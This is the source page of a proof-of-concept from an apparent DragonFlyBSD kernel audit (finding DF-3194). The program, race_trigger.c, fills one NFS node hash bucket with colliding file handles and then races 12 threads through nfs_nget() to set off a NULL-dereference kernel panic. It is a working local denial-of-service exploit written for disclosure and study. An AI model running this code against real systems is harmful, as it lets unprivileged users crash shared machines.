⬢ DragonFlyBSD Kernel Audit
DF-3194 / race_trigger.c
← back to finding ↓ download raw
/*
 * race_trigger.c - DF-3194 PoC driver
 *
 * Phase 1 (fill): stat() POOL_FILL distinct names once each.  Every file
 *   handle the server hands out is crafted to hash into the SAME nfsnode
 *   hash bucket, so nfs_nget()'s initial LIST_FOREACH scan of that bucket
 *   becomes long (~thousands of entries, hundreds of microseconds).
 *
 * Phase 2 (hammer): N threads, pthread_barrier-synchronised, stat() the
 *   SAME never-seen name each round -> every thread races nfs_nget() for
 *   the same fresh file handle.  When one thread is descheduled mid-scan
 *   (its lwkt token is auto-released by lwkt_switch, sys/kern/lwkt_thread.c)
 *   while another thread completes a full nfs_nget() creation and inserts
 *   the node at the head of the bucket, the stale thread misses it, takes
 *   nfsnhash_lock without sleeping, creates its own vnode, and the
 *   duplicate-validation loop (sys/vfs/nfs/nfs_node.c:189-202) finds the
 *   other thread's node -> vx_put(fresh VNON vnode) at nfs_node.c:194 ->
 *   vfs_lock.c:vx_put forces VREF_FINALIZE for VNON -> vnode_terminate()
 *   -> VOP_INACTIVE -> nfs_inactive() dereferences v_data == NULL -> panic.
 *
 * Run as an unprivileged user for the hammer phase (root only needed for
 * the mount, done by run.sh).  Threads > ncpu on purpose: oversubscription
 * widens the mid-scan descheduling window.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/time.h>

#define POOL_FILL   16000
#define HAMMER_THREADS 12

static pthread_barrier_t bar;
static long total_rounds;
static int fill = POOL_FILL;
static double t0;

static double
now(void)
{
	struct timeval tv;
	gettimeofday(&tv, NULL);
	return tv.tv_sec + tv.tv_usec / 1e6;
}

static void *
hammer(void *arg)
{
	long id = (long)arg;
	char path[64];
	long r;

	for (r = 0; r < total_rounds; r++) {
		struct stat st;
		/*
		 * Each thread uses its OWN name (letter prefix) for the
		 * same file handle: separate namecache resolutions, no
		 * ncp-lock serialisation, but all 12 threads race
		 * nfs_nget() for the identical fh.
		 */
		snprintf(path, sizeof(path), "/mnt/%c%05ld",
		    'a' + (int)id, (long)fill + r);
		pthread_barrier_wait(&bar);
		if (stat(path, &st) < 0)
			; /* keep racing regardless */
		pthread_barrier_wait(&bar);
		if (id == 0 && (r % 500) == 0) {
			double el = now() - t0;
			printf("[hammer] round %ld/%ld (%.1f rps)\n",
			    r, total_rounds, el > 0 ? r / el : 0.0);
			fflush(stdout);
		}
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	char path[64];
	struct stat st;
	pthread_t th[HAMMER_THREADS];
	int i;
	double t;

	total_rounds = 40000;
	if (argc > 1)
		total_rounds = atol(argv[1]);
	if (argc > 2)
		fill = atol(argv[2]);

	printf("[fill] stating %d colliding-fh names once each...\n", fill);
	t = now();
	for (i = 0; i < fill; i++) {
		snprintf(path, sizeof(path), "/mnt/g%05d", i);
		if (stat(path, &st) < 0) {
			printf("[fill] stat(%s) failed: %s (aborting)\n",
			    path, strerror(errno));
			return 1;
		}
		if ((i % 4000) == 0)
			printf("[fill] %d/%d\n", i, fill);
	}
	printf("[fill] done in %.2fs - nfsnode hash bucket is deep now\n",
	    now() - t);
	fflush(stdout);

	t = now();
	for (i = 0; i < 200; i++) {
		snprintf(path, sizeof(path), "/mnt/g%05d", i);
		if (stat(path, &st) < 0)
			break;
	}
	printf("[fill] 200 cached re-stats in %.3f ms\n", (now() - t) * 1e3);
	fflush(stdout);

	printf("[hammer] %d threads x %ld rounds of same-name stat races\n",
	    HAMMER_THREADS, total_rounds);
	fflush(stdout);

	t0 = now();
	pthread_barrier_init(&bar, NULL, HAMMER_THREADS);
	for (i = 0; i < HAMMER_THREADS; i++)
		pthread_create(&th[i], NULL, hammer, (void *)(long)i);
	for (i = 0; i < HAMMER_THREADS; i++)
		pthread_join(th[i], NULL);
	printf("[hammer] finished %ld rounds without a panic\n", total_rounds);
	return 0;
}